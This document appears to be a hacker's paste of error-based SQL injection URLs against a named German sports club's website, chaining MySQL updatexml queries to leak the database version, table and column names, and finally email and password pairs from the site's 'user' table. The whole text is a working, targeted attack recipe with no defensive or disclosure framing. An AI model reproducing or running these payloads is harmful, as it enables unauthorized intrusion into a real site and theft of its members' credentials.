Version (5.6.36-log)
http://www.tsv-stetten-akm.de/index.php?Cat=0201&News_id=1194 and updatexml(null,concat(0x3a,version()),null)

Table "user" (limit 20,1)
http://www.tsv-stetten-akm.de/index.php?Cat=0201&News_id=1194 and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database()limit 20,1)),null)

Culumn "password" (limit 7,1)
http://www.tsv-stetten-akm.de/index.php?Cat=0201&News_id=1194 and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database()
and table_name=0x75736572 limit 7,1)),null)

Column "email" (limit 9,1)
http://www.tsv-stetten-akm.de/index.php?Cat=0201&News_id=1194 and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database()
and table_name=0x75736572 limit 9,1)),null)

Final query (email, password)
http://www.tsv-stetten-akm.de/index.php?Cat=0201&News_id=1194 and updatexml(null,concat(0x3a,(select concat(email,0x3a,password)
from user limit 0,1)),null)